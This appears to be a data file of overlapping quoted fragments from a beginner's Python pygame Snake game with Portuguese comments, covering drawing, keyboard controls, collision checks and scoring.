"font.render(\"Pontos: \" + str(pontos), True, (255, 255, 255)) screen.blit(placar, (x,y)) # Loop de",
"= pygame.display.set_mode((600,600)) # Titulo e icone pygame.display.set_caption(\"Jogo da Cobrenha de ThurMP\") icone =",
"sempre tamanho_tabuleiro_maior = 20 + 19 matriz_do_tabuleiro = [0]*tamanho_tabuleiro_maior for i in range(20):",
"# Cobre a ponta da cauda com quadrado verde # Caso crescer ==",
"or (cabecaY > 600) or (cabecaY < 0): # Plot do placar placarFunc(210,270)",
"macaY = (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 1 # Garante que a",
"(x,y)) # Funcao para placar def placarFunc(x,y): placar = font.render(\"Pontos: \" + str(pontos),",
"com a configuracao inicial) listaXCorpo = [91, 121 ,151] listaYCorpo = [271, 271,",
"= (cabecaY-1)/30 # Get dos eventos for event in pygame.event.get(): if event.type ==",
"matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 0 pontos += 1 macaY = (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30]",
"Setando a Lista de entrada listaEntrada[0] = rodada listaEntrada[1] = pontos #listaEntrada[2] =",
"corpoFunc(91, 271) corpoFunc(121, 271) corpoFunc(151, 271) matriz_do_tabuleiro[(271-1)//30][(91-1)//30] = -1 matriz_do_tabuleiro[(271-1)//30][(121-1)//30] = -1 matriz_do_tabuleiro[(271-1)//30][(151-1)//30]",
"(event.key == pygame.K_LEFT) and (cabecaXChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_esquerda.png\") cabecaXChange = -30",
"(cabecaY > 600) or (cabecaY < 0): # Plot do placar placarFunc(210,270) cabecaXChange",
"listaXCorpo = [91, 121 ,151] listaYCorpo = [271, 271, 271] # Configuracao inicial",
"a cobra deve crescer ou nao crescer = False pygame.time.wait(1000) # Game Loop",
"screen.blit(imagemMaca, (x,y)) # Funcao para placar def placarFunc(x,y): placar = font.render(\"Pontos: \" +",
"True # Condicao de cobra bater nela mesma for i in range(len(listaXCorpo)): if(cabecaX",
"mesma for i in range(len(listaXCorpo)): if(cabecaX == listaXCorpo[i]): if (cabecaY == listaYCorpo[i]): #",
"a ponta da cauda com quadrado verde # Caso crescer == True faz",
"cabecaX = 181 cabecaY = 271 #for i in range(39): # matriz_do_tabuleiro[(-1)//30][(-1)//30] =",
"inteiro sempre tamanho_tabuleiro_maior = 20 + 19 matriz_do_tabuleiro = [0]*tamanho_tabuleiro_maior for i in",
"eventos for event in pygame.event.get(): if event.type == pygame.QUIT: running = False #",
"ponto e cria outra # Atuliza a posicao da da maca na matriz",
"(cabecaY < 0): # Plot do placar placarFunc(210,270) cabecaXChange = 0 cabecaYChange =",
"Baixo] listaOutput = [0,0,0,0] # Lista de entrada [n da rodada ,pontos obtidos",
"Nota: a matriz sera quase 4 vezes maior que o # tabuleiro em",
"= 1 # Var para verificar se a cobra deve crescer ou nao",
"in listaYCorpo)): macaY = (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 macaFunc(macaX, macaY) matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 1",
"= -30 if rodada>0: # Se a maca for pega, add 1 ponto",
"fim_de_jogo = True # Cobre a ponta da cauda com quadrado verde #",
"placar placarFunc(210,270) cabecaXChange = 0 cabecaYChange = 0 fim_de_jogo = True # Condicao",
"macaY = (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 macaFunc(macaX, macaY) matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 1 # Var",
"indo para a desejada if (event.key == pygame.K_LEFT) and (cabecaXChange == 0): imagemCabeca",
"def quadradoFundoFunc(x, y): screen.blit(imagemQuadradoFundo, (x,y)) # Funcao para inserir a maca def macaFunc(x,",
"crescer crescer = True # Coloca o corpo logo onde a cabeca sai",
"(cabecaY-1)/30 # Get dos eventos for event in pygame.event.get(): if event.type == pygame.QUIT:",
"em si para a cebeca ser centralizada # e poder enxergar o tabuleiro",
"cabeca e o corpo def corpoFunc(x, y): screen.blit(imagemCorpo, (x,y)) def cabecaFunc(x, y): screen.blit(imagemCabeca,",
"# Lista de entrada [n da rodada ,pontos obtidos # matriz do tabuleiro]",
"(randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 macaFunc(macaX, macaY) # Guarda o valor para ela crescer",
"and cabecaY == macaY): matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 0 pontos += 1 macaY = (randint(0,19)*30)+1",
"Titulo e icone pygame.display.set_caption(\"Jogo da Cobrenha de ThurMP\") icone = pygame.image.load(\"images/snake icon.png\") fim_de_jogo",
"and (macaY in listaYCorpo)): macaY = (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 macaFunc(macaX, macaY) #",
"= [0]*3 # Nota: a matriz sera quase 4 vezes maior que o",
"pygame.QUIT: running = False # Se alguma seta for apertada if event.type ==",
"matriz sera quase 4 vezes maior que o # tabuleiro em si para",
"1: # Nota: nao muda de direcao caso ja esteja indo para a",
"primeira maca e garante que nao esta na cobra macaY = (randint(0,19)*30)+1 macaX",
"(x,y)) # Loop de treino for c in range (2): # Inicializa o",
"a desejada if (event.key == pygame.K_LEFT) and (cabecaXChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_esquerda.png\")",
"inserir a maca def macaFunc(x, y): screen.blit(imagemMaca, (x,y)) # Funcao para placar def",
"e icone pygame.display.set_caption(\"Jogo da Cobrenha de ThurMP\") icone = pygame.image.load(\"images/snake icon.png\") fim_de_jogo =",
"= -1 matriz_do_tabuleiro[(271-1)//30][(121-1)//30] = -1 matriz_do_tabuleiro[(271-1)//30][(151-1)//30] = -1 # Cria a primeira maca",
"in range(20): matriz_do_tabuleiro[i] = [0]*39 listaEntrada[2] = matriz_do_tabuleiro # Funcoes para inserir a",
"Cobre a ponta da cauda com quadrado verde # Caso crescer == True",
"dos eventos for event in pygame.event.get(): if event.type == pygame.QUIT: running = False",
"bater nela mesma for i in range(len(listaXCorpo)): if(cabecaX == listaXCorpo[i]): if (cabecaY ==",
"cabecaXChange = 30 cabecaYChange = 0 if (event.key == pygame.K_DOWN) and (cabecaYChange ==",
"macaFunc(x, y): screen.blit(imagemMaca, (x,y)) # Funcao para placar def placarFunc(x,y): placar = font.render(\"Pontos:",
"255, 255)) screen.blit(placar, (x,y)) # Loop de treino for c in range (2):",
"e atualiza fundo background = pygame.image.load(\"images/fundo_quadriculado_verde.png\") screen.blit(background,(0,0)) # Load das imagens imagemCorpo =",
"na matriz if (cabecaX == macaX and cabecaY == macaY): matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 0",
"Funcao para inserir quadrado verde do fundo def quadradoFundoFunc(x, y): screen.blit(imagemQuadradoFundo, (x,y)) #",
"corpoFunc(151, 271) matriz_do_tabuleiro[(271-1)//30][(91-1)//30] = -1 matriz_do_tabuleiro[(271-1)//30][(121-1)//30] = -1 matriz_do_tabuleiro[(271-1)//30][(151-1)//30] = -1 # Cria",
"0 cabecaYChange = -30 if rodada>0: # Se a maca for pega, add",
"cabecaYChange = 0 fim_de_jogo = True # Condicao de cobra bater nela mesma",
"cobra while((macaX in listaXCorpo) and (macaY in listaYCorpo)): macaY = (randint(0,19)*30)+1 macaX =",
"0 fim_de_jogo = True # Condicao de cobra bater nela mesma for i",
"# Var de trainamento # Lista de saida [Esquerda, Cima, Direita, Baixo] listaOutput",
"(event.key == pygame.K_DOWN) and (cabecaYChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_baixo.png\") cabecaXChange = 0",
"= (randint(0,19)*30)+1 macaFunc(macaX, macaY) # Guarda o valor para ela crescer crescer =",
"com quadrado verde # Caso crescer == True faz a cobra crescer 1",
"corpoFunc(cabecaX, cabecaY) cabecaX += cabecaXChange cabecaY += cabecaYChange # Condicao de cobra bater",
"0 quadradoFundoFunc(listaXCorpo.pop(0), listaYCorpo.pop(0)) crescer = False # Coloca a cabeca no espaco seguinte",
"# Configuracao inicial da cabeca cabecaX = 181 cabecaY = 271 #for i",
"o # tabuleiro em si para a cebeca ser centralizada # e poder",
"(255, 255, 255)) screen.blit(placar, (x,y)) # Loop de treino for c in range",
"== macaX and cabecaY == macaY): matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 0 pontos += 1 macaY",
"(2): # Inicializa o pygame pygame.init() # Cria tela e define tamanho screen",
"obtidos # matriz do tabuleiro] (tabuleiro incluindo # paredes, corpo da cobra e",
"30 if (event.key == pygame.K_UP) and (cabecaYChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_cima.png\") cabecaXChange",
"# Cria a primeira maca e garante que nao esta na cobra macaY",
"[n da rodada ,pontos obtidos # matriz do tabuleiro] (tabuleiro incluindo # paredes,",
"listaEntrada[0] = rodada listaEntrada[1] = pontos #listaEntrada[2] = matriz_do_tabuleiro #listaEntrada[2] = (macaX-1)/30 #listaEntrada[3]",
"= (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 macaFunc(macaX, macaY) matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 1 # Var para",
"pygame.image.load(\"images/corpo.png\") imagemCabeca = pygame.image.load(\"images/cabeça_direita.png\") imagemQuadradoFundo = pygame.image.load(\"images/quadrado_do_fundo.png\") imagemMaca = pygame.image.load(\"images/maca1.png\") # Configuracao inicial",
"pygame.display.set_mode((600,600)) # Titulo e icone pygame.display.set_caption(\"Jogo da Cobrenha de ThurMP\") icone = pygame.image.load(\"images/snake",
"0): # Plot do placar placarFunc(210,270) cabecaXChange = 0 cabecaYChange = 0 fim_de_jogo",
"o corpo def corpoFunc(x, y): screen.blit(imagemCorpo, (x,y)) def cabecaFunc(x, y): screen.blit(imagemCabeca, (x,y)) #",
"a maca def macaFunc(x, y): screen.blit(imagemMaca, (x,y)) # Funcao para placar def placarFunc(x,y):",
"Get dos eventos for event in pygame.event.get(): if event.type == pygame.QUIT: running =",
"pygame.K_RIGHT) and (cabecaXChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_direita.png\") cabecaXChange = 30 cabecaYChange =",
"atualiza fundo background = pygame.image.load(\"images/fundo_quadriculado_verde.png\") screen.blit(background,(0,0)) # Load das imagens imagemCorpo = pygame.image.load(\"images/corpo.png\")",
"= (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 while((macaX in listaXCorpo) and (macaY in listaYCorpo)): macaY",
"range(20): matriz_do_tabuleiro[i] = [0]*39 listaEntrada[2] = matriz_do_tabuleiro # Funcoes para inserir a cabeca",
"o pygame pygame.init() # Cria tela e define tamanho screen = pygame.display.set_mode((600,600)) #",
"= # Jogo comeca indo para a direita cabecaXChange = 30 cabecaYChange =",
"i in range(39): # matriz_do_tabuleiro[(-1)//30][(-1)//30] = # Jogo comeca indo para a direita",
"def corpoFunc(x, y): screen.blit(imagemCorpo, (x,y)) def cabecaFunc(x, y): screen.blit(imagemCabeca, (x,y)) # Funcao para",
"(macaY in listaYCorpo)): macaY = (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 macaFunc(macaX, macaY) matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] =",
"[91, 121 ,151] listaYCorpo = [271, 271, 271] # Configuracao inicial do corpo",
"= pygame.image.load(\"images/corpo.png\") imagemCabeca = pygame.image.load(\"images/cabeça_direita.png\") imagemQuadradoFundo = pygame.image.load(\"images/quadrado_do_fundo.png\") imagemMaca = pygame.image.load(\"images/maca1.png\") # Configuracao",
"if (event.key == pygame.K_DOWN) and (cabecaYChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_baixo.png\") cabecaXChange =",
"# Se a maca for pega, add 1 ponto e cria outra #",
"macaX and cabecaY == macaY): matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 0 pontos += 1 macaY =",
"de saida [Esquerda, Cima, Direita, Baixo] listaOutput = [0,0,0,0] # Lista de entrada",
"or (cabecaX > 600) or (cabecaY > 600) or (cabecaY < 0): #",
"= [91, 121 ,151] listaYCorpo = [271, 271, 271] # Configuracao inicial do",
"macaY): matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 0 pontos += 1 macaY = (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1",
"pygame.image.load(\"images/cabeça_baixo.png\") cabecaXChange = 0 cabecaYChange = 30 if (event.key == pygame.K_UP) and (cabecaYChange",
"screen.blit(imagemCorpo, (x,y)) def cabecaFunc(x, y): screen.blit(imagemCabeca, (x,y)) # Funcao para inserir quadrado verde",
",pontos obtidos # matriz do tabuleiro] (tabuleiro incluindo # paredes, corpo da cobra",
"= True # Cobre a ponta da cauda com quadrado verde # Caso",
"in range(39): # matriz_do_tabuleiro[(-1)//30][(-1)//30] = # Jogo comeca indo para a direita cabecaXChange",
"macaX = (randint(0,19)*30)+1 macaFunc(macaX, macaY) matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 1 # Var para verificar se",
"rodada += 1 if not fim_de_jogo and rodada > 1: # Nota: nao",
"pygame.image.load(\"images/cabeça_direita.png\") cabecaXChange = 30 cabecaYChange = 0 if (event.key == pygame.K_DOWN) and (cabecaYChange",
"entrada listaEntrada[0] = rodada listaEntrada[1] = pontos #listaEntrada[2] = matriz_do_tabuleiro #listaEntrada[2] = (macaX-1)/30",
"-30 if rodada>0: # Se a maca for pega, add 1 ponto e",
"a cebeca ser centralizada # e poder enxergar o tabuleiro inteiro sempre tamanho_tabuleiro_maior",
"e poder enxergar o tabuleiro inteiro sempre tamanho_tabuleiro_maior = 20 + 19 matriz_do_tabuleiro",
"if event.type == pygame.QUIT: running = False # Se alguma seta for apertada",
"vezes maior que o # tabuleiro em si para a cebeca ser centralizada",
"if (cabecaY == listaYCorpo[i]): # Plot do placar placarFunc(210,270) cabecaXChange = 0 cabecaYChange",
"0 fim_de_jogo = True # Cobre a ponta da cauda com quadrado verde",
"cabecaXChange = 0 cabecaYChange = 30 if (event.key == pygame.K_UP) and (cabecaYChange ==",
"Inicializa o pygame pygame.init() # Cria tela e define tamanho screen = pygame.display.set_mode((600,600))",
"de entrada listaEntrada[0] = rodada listaEntrada[1] = pontos #listaEntrada[2] = matriz_do_tabuleiro #listaEntrada[2] =",
"Nota: nao muda de direcao caso ja esteja indo para a desejada if",
"\" + str(pontos), True, (255, 255, 255)) screen.blit(placar, (x,y)) # Loop de treino",
"running = False # Se alguma seta for apertada if event.type == pygame.KEYDOWN:",
"nao apareca em cima da cobra while((macaX in listaXCorpo) and (macaY in listaYCorpo)):",
"icone pygame.display.set_caption(\"Jogo da Cobrenha de ThurMP\") icone = pygame.image.load(\"images/snake icon.png\") fim_de_jogo = False",
"pygame from random import randint # Var de trainamento # Lista de saida",
"cobra crescer 1 espaco if not crescer: matriz_do_tabuleiro[(listaYCorpo[0]-1)//30][(listaXCorpo[0]-1)//30] = 0 quadradoFundoFunc(listaXCorpo.pop(0), listaYCorpo.pop(0)) crescer",
"# tabuleiro em si para a cebeca ser centralizada # e poder enxergar",
"= font.render(\"Pontos: \" + str(pontos), True, (255, 255, 255)) screen.blit(placar, (x,y)) # Loop",
"listaYCorpo.pop(0)) crescer = False # Coloca a cabeca no espaco seguinte cabecaFunc(cabecaX, cabecaY)",
"# Nota: a matriz sera quase 4 vezes maior que o # tabuleiro",
"= True # Coloca o corpo logo onde a cabeca sai e #",
"(macaY-1)/30 #listaEntrada[4] = (cabecaX-1)/30 #listaEntrada[5] = (cabecaY-1)/30 # Get dos eventos for event",
"imagemQuadradoFundo = pygame.image.load(\"images/quadrado_do_fundo.png\") imagemMaca = pygame.image.load(\"images/maca1.png\") # Configuracao inicial da cabeca cabecaX =",
"pygame.K_DOWN) and (cabecaYChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_baixo.png\") cabecaXChange = 0 cabecaYChange =",
"= (cabecaX-1)/30 #listaEntrada[5] = (cabecaY-1)/30 # Get dos eventos for event in pygame.event.get():",
"Direita, Baixo] listaOutput = [0,0,0,0] # Lista de entrada [n da rodada ,pontos",
"= pygame.image.load(\"images/quadrado_do_fundo.png\") imagemMaca = pygame.image.load(\"images/maca1.png\") # Configuracao inicial da cabeca cabecaX = 181",
"271) matriz_do_tabuleiro[(271-1)//30][(91-1)//30] = -1 matriz_do_tabuleiro[(271-1)//30][(121-1)//30] = -1 matriz_do_tabuleiro[(271-1)//30][(151-1)//30] = -1 # Cria a",
"inserir a cabeca e o corpo def corpoFunc(x, y): screen.blit(imagemCorpo, (x,y)) def cabecaFunc(x,",
"e garante que nao esta na cobra macaY = (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1",
"pygame.event.get(): if event.type == pygame.QUIT: running = False # Se alguma seta for",
"na lista listaXCorpo.append(cabecaX) listaYCorpo.append(cabecaY) matriz_do_tabuleiro[(cabecaY-1)//30][(cabecaX-1)//30] = -1 corpoFunc(cabecaX, cabecaY) cabecaX += cabecaXChange cabecaY",
"pygame.KEYDOWN: rodada += 1 if not fim_de_jogo and rodada > 1: # Nota:",
"not fim_de_jogo and rodada > 1: # Nota: nao muda de direcao caso",
"< 0): # Plot do placar placarFunc(210,270) cabecaXChange = 0 cabecaYChange = 0",
"ThurMP\") icone = pygame.image.load(\"images/snake icon.png\") fim_de_jogo = False rodada = 0 # Define",
"no espaco seguinte cabecaFunc(cabecaX, cabecaY) # Atualiza a tela e gera delay pygame.display.update()",
"cabecaYChange = -30 if rodada>0: # Se a maca for pega, add 1",
"crescer = True # Coloca o corpo logo onde a cabeca sai e",
"do placar placarFunc(210,270) cabecaXChange = 0 cabecaYChange = 0 fim_de_jogo = True #",
"Configuracao inicial da cabeca cabecaX = 181 cabecaY = 271 #for i in",
"[271, 271, 271] # Configuracao inicial do corpo cabecaFunc(cabecaX, cabecaY) corpoFunc(91, 271) corpoFunc(121,",
"cabecaXChange cabecaY += cabecaYChange # Condicao de cobra bater na borda if (cabecaX",
"treino for c in range (2): # Inicializa o pygame pygame.init() # Cria",
"== 0): imagemCabeca = pygame.image.load(\"images/cabeça_direita.png\") cabecaXChange = 30 cabecaYChange = 0 if (event.key",
"fim_de_jogo = True # Condicao de cobra bater nela mesma for i in",
"o tabuleiro inteiro sempre tamanho_tabuleiro_maior = 20 + 19 matriz_do_tabuleiro = [0]*tamanho_tabuleiro_maior for",
"corpoFunc(121, 271) corpoFunc(151, 271) matriz_do_tabuleiro[(271-1)//30][(91-1)//30] = -1 matriz_do_tabuleiro[(271-1)//30][(121-1)//30] = -1 matriz_do_tabuleiro[(271-1)//30][(151-1)//30] = -1",
"tela e define tamanho screen = pygame.display.set_mode((600,600)) # Titulo e icone pygame.display.set_caption(\"Jogo da",
"inicial da cabeca cabecaX = 181 cabecaY = 271 #for i in range(39):",
"= (macaX-1)/30 #listaEntrada[3] = (macaY-1)/30 #listaEntrada[4] = (cabecaX-1)/30 #listaEntrada[5] = (cabecaY-1)/30 # Get",
"0 if (event.key == pygame.K_RIGHT) and (cabecaXChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_direita.png\") cabecaXChange",
"Guarda o valor para ela crescer crescer = True # Coloca o corpo",
"cauda com quadrado verde # Caso crescer == True faz a cobra crescer",
"cabecaFunc(x, y): screen.blit(imagemCabeca, (x,y)) # Funcao para inserir quadrado verde do fundo def",
"listaYCorpo.append(cabecaY) matriz_do_tabuleiro[(cabecaY-1)//30][(cabecaX-1)//30] = -1 corpoFunc(cabecaX, cabecaY) cabecaX += cabecaXChange cabecaY += cabecaYChange #",
"running = True while running: # Setando a Lista de entrada listaEntrada[0] =",
"screen.blit(imagemQuadradoFundo, (x,y)) # Funcao para inserir a maca def macaFunc(x, y): screen.blit(imagemMaca, (x,y))",
"corpo def corpoFunc(x, y): screen.blit(imagemCorpo, (x,y)) def cabecaFunc(x, y): screen.blit(imagemCabeca, (x,y)) # Funcao",
"19 matriz_do_tabuleiro = [0]*tamanho_tabuleiro_maior for i in range(20): matriz_do_tabuleiro[i] = [0]*39 listaEntrada[2] =",
"while running: # Setando a Lista de entrada listaEntrada[0] = rodada listaEntrada[1] =",
"cabeca no espaco seguinte cabecaFunc(cabecaX, cabecaY) # Atualiza a tela e gera delay",
"indo para a direita cabecaXChange = 30 cabecaYChange = 0 # Listas para",
"= 0 cabecaYChange = 0 fim_de_jogo = True # Cobre a ponta da",
"for c in range (2): # Inicializa o pygame pygame.init() # Cria tela",
"para placar def placarFunc(x,y): placar = font.render(\"Pontos: \" + str(pontos), True, (255, 255,",
"maca na matriz if (cabecaX == macaX and cabecaY == macaY): matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] =",
"crescer: matriz_do_tabuleiro[(listaYCorpo[0]-1)//30][(listaXCorpo[0]-1)//30] = 0 quadradoFundoFunc(listaXCorpo.pop(0), listaYCorpo.pop(0)) crescer = False # Coloca a cabeca",
"cabecaY == macaY): matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 0 pontos += 1 macaY = (randint(0,19)*30)+1 macaX",
"cima da cobra while((macaX in listaXCorpo) and (macaY in listaYCorpo)): macaY = (randint(0,19)*30)+1",
"rodada>0: # Se a maca for pega, add 1 ponto e cria outra",
"alguma seta for apertada if event.type == pygame.KEYDOWN: rodada += 1 if not",
"Cria e atualiza fundo background = pygame.image.load(\"images/fundo_quadriculado_verde.png\") screen.blit(background,(0,0)) # Load das imagens imagemCorpo",
"= pygame.image.load(\"images/maca1.png\") # Configuracao inicial da cabeca cabecaX = 181 cabecaY = 271",
"import randint # Var de trainamento # Lista de saida [Esquerda, Cima, Direita,",
"macaY = (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 while((macaX in listaXCorpo) and (macaY in listaYCorpo)):",
"#listaEntrada[5] = (cabecaY-1)/30 # Get dos eventos for event in pygame.event.get(): if event.type",
"macaY) # Guarda o valor para ela crescer crescer = True # Coloca",
"listaXCorpo.append(cabecaX) listaYCorpo.append(cabecaY) matriz_do_tabuleiro[(cabecaY-1)//30][(cabecaX-1)//30] = -1 corpoFunc(cabecaX, cabecaY) cabecaX += cabecaXChange cabecaY += cabecaYChange",
"da cobra e maca) listaEntrada = [0]*3 # Nota: a matriz sera quase",
"rodada > 1: # Nota: nao muda de direcao caso ja esteja indo",
"a cabeca sai e # grava na lista listaXCorpo.append(cabecaX) listaYCorpo.append(cabecaY) matriz_do_tabuleiro[(cabecaY-1)//30][(cabecaX-1)//30] = -1",
"listaYCorpo)): macaY = (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 macaFunc(macaX, macaY) matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 1 #",
"+= 1 macaY = (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 1 # Garante",
"a primeira maca e garante que nao esta na cobra macaY = (randint(0,19)*30)+1",
"in pygame.event.get(): if event.type == pygame.QUIT: running = False # Se alguma seta",
"# Titulo e icone pygame.display.set_caption(\"Jogo da Cobrenha de ThurMP\") icone = pygame.image.load(\"images/snake icon.png\")",
"271) corpoFunc(151, 271) matriz_do_tabuleiro[(271-1)//30][(91-1)//30] = -1 matriz_do_tabuleiro[(271-1)//30][(121-1)//30] = -1 matriz_do_tabuleiro[(271-1)//30][(151-1)//30] = -1 #",
"listaYCorpo = [271, 271, 271] # Configuracao inicial do corpo cabecaFunc(cabecaX, cabecaY) corpoFunc(91,",
"listaEntrada[2] = matriz_do_tabuleiro # Funcoes para inserir a cabeca e o corpo def",
"placar def placarFunc(x,y): placar = font.render(\"Pontos: \" + str(pontos), True, (255, 255, 255))",
"para a direita cabecaXChange = 30 cabecaYChange = 0 # Listas para manter",
"entrada [n da rodada ,pontos obtidos # matriz do tabuleiro] (tabuleiro incluindo #",
"Loop running = True while running: # Setando a Lista de entrada listaEntrada[0]",
"(event.key == pygame.K_RIGHT) and (cabecaXChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_direita.png\") cabecaXChange = 30",
"para inserir a maca def macaFunc(x, y): screen.blit(imagemMaca, (x,y)) # Funcao para placar",
"inicial do corpo cabecaFunc(cabecaX, cabecaY) corpoFunc(91, 271) corpoFunc(121, 271) corpoFunc(151, 271) matriz_do_tabuleiro[(271-1)//30][(91-1)//30] =",
"-1 matriz_do_tabuleiro[(271-1)//30][(121-1)//30] = -1 matriz_do_tabuleiro[(271-1)//30][(151-1)//30] = -1 # Cria a primeira maca e",
"> 1: # Nota: nao muda de direcao caso ja esteja indo para",
"Garante que a maca nao apareca em cima da cobra while((macaX in listaXCorpo)",
"1 espaco if not crescer: matriz_do_tabuleiro[(listaYCorpo[0]-1)//30][(listaXCorpo[0]-1)//30] = 0 quadradoFundoFunc(listaXCorpo.pop(0), listaYCorpo.pop(0)) crescer = False",
"30 cabecaYChange = 0 # Listas para manter armazenadas as posicoes do corpo",
"placar = font.render(\"Pontos: \" + str(pontos), True, (255, 255, 255)) screen.blit(placar, (x,y)) #",
"i in range(20): matriz_do_tabuleiro[i] = [0]*39 listaEntrada[2] = matriz_do_tabuleiro # Funcoes para inserir",
"0 # Define fonte pontos = 0 font = pygame.font.Font('freesansbold.ttf', 32) # Cria",
"# Condicao de cobra bater nela mesma for i in range(len(listaXCorpo)): if(cabecaX ==",
"Cria a primeira maca e garante que nao esta na cobra macaY =",
"False rodada = 0 # Define fonte pontos = 0 font = pygame.font.Font('freesansbold.ttf',",
"Var para verificar se a cobra deve crescer ou nao crescer = False",
"listaYCorpo[i]): # Plot do placar placarFunc(210,270) cabecaXChange = 0 cabecaYChange = 0 fim_de_jogo",
"maca for pega, add 1 ponto e cria outra # Atuliza a posicao",
"a maca for pega, add 1 ponto e cria outra # Atuliza a",
"Var de trainamento # Lista de saida [Esquerda, Cima, Direita, Baixo] listaOutput =",
"saida [Esquerda, Cima, Direita, Baixo] listaOutput = [0,0,0,0] # Lista de entrada [n",
"matriz_do_tabuleiro[(-1)//30][(-1)//30] = # Jogo comeca indo para a direita cabecaXChange = 30 cabecaYChange",
"direita cabecaXChange = 30 cabecaYChange = 0 # Listas para manter armazenadas as",
"# Coloca a cabeca no espaco seguinte cabecaFunc(cabecaX, cabecaY) # Atualiza a tela",
"0 pontos += 1 macaY = (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 matriz_do_tabuleiro[(macaY-1)//30][(macaX-1)//30] = 1",
"background = pygame.image.load(\"images/fundo_quadriculado_verde.png\") screen.blit(background,(0,0)) # Load das imagens imagemCorpo = pygame.image.load(\"images/corpo.png\") imagemCabeca =",
"(cabecaXChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_direita.png\") cabecaXChange = 30 cabecaYChange = 0 if",
"running: # Setando a Lista de entrada listaEntrada[0] = rodada listaEntrada[1] = pontos",
"+ 19 matriz_do_tabuleiro = [0]*tamanho_tabuleiro_maior for i in range(20): matriz_do_tabuleiro[i] = [0]*39 listaEntrada[2]",
"== pygame.QUIT: running = False # Se alguma seta for apertada if event.type",
"macaFunc(macaX, macaY) # Guarda o valor para ela crescer crescer = True #",
"fundo background = pygame.image.load(\"images/fundo_quadriculado_verde.png\") screen.blit(background,(0,0)) # Load das imagens imagemCorpo = pygame.image.load(\"images/corpo.png\") imagemCabeca",
"= pygame.image.load(\"images/cabeça_esquerda.png\") cabecaXChange = -30 cabecaYChange = 0 if (event.key == pygame.K_RIGHT) and",
"Se a maca for pega, add 1 ponto e cria outra # Atuliza",
"o valor para ela crescer crescer = True # Coloca o corpo logo",
"do tabuleiro] (tabuleiro incluindo # paredes, corpo da cobra e maca) listaEntrada =",
"matriz_do_tabuleiro = [0]*tamanho_tabuleiro_maior for i in range(20): matriz_do_tabuleiro[i] = [0]*39 listaEntrada[2] = matriz_do_tabuleiro",
"True faz a cobra crescer 1 espaco if not crescer: matriz_do_tabuleiro[(listaYCorpo[0]-1)//30][(listaXCorpo[0]-1)//30] = 0",
"pygame.K_LEFT) and (cabecaXChange == 0): imagemCabeca = pygame.image.load(\"images/cabeça_esquerda.png\") cabecaXChange = -30 cabecaYChange =",
"pygame pygame.init() # Cria tela e define tamanho screen = pygame.display.set_mode((600,600)) # Titulo",
"cobra bater nela mesma for i in range(len(listaXCorpo)): if(cabecaX == listaXCorpo[i]): if (cabecaY",
"(macaY in listaYCorpo)): macaY = (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 macaFunc(macaX, macaY) # Guarda",
"cabecaYChange = 0 if (event.key == pygame.K_RIGHT) and (cabecaXChange == 0): imagemCabeca =",
"screen.blit(imagemCabeca, (x,y)) # Funcao para inserir quadrado verde do fundo def quadradoFundoFunc(x, y):",
"20 + 19 matriz_do_tabuleiro = [0]*tamanho_tabuleiro_maior for i in range(20): matriz_do_tabuleiro[i] = [0]*39",
"1 # Var para verificar se a cobra deve crescer ou nao crescer",
"0) or (cabecaX > 600) or (cabecaY > 600) or (cabecaY < 0):",
"event in pygame.event.get(): if event.type == pygame.QUIT: running = False # Se alguma",
"de ThurMP\") icone = pygame.image.load(\"images/snake icon.png\") fim_de_jogo = False rodada = 0 #",
"garante que nao esta na cobra macaY = (randint(0,19)*30)+1 macaX = (randint(0,19)*30)+1 while((macaX",
"pontos = 0 font = pygame.font.Font('freesansbold.ttf', 32) # Cria e atualiza fundo background",
"= False # Se alguma seta for apertada if event.type == pygame.KEYDOWN: rodada",
"cobra bater na borda if (cabecaX < 0) or (cabecaX > 600) or",
"incluindo # paredes, corpo da cobra e maca) listaEntrada = [0]*3 # Nota:",
"y): screen.blit(imagemCorpo, (x,y)) def cabecaFunc(x, y): screen.blit(imagemCabeca, (x,y)) # Funcao para inserir quadrado",
"[0]*39 listaEntrada[2] = matriz_do_tabuleiro # Funcoes para inserir a cabeca e o corpo",
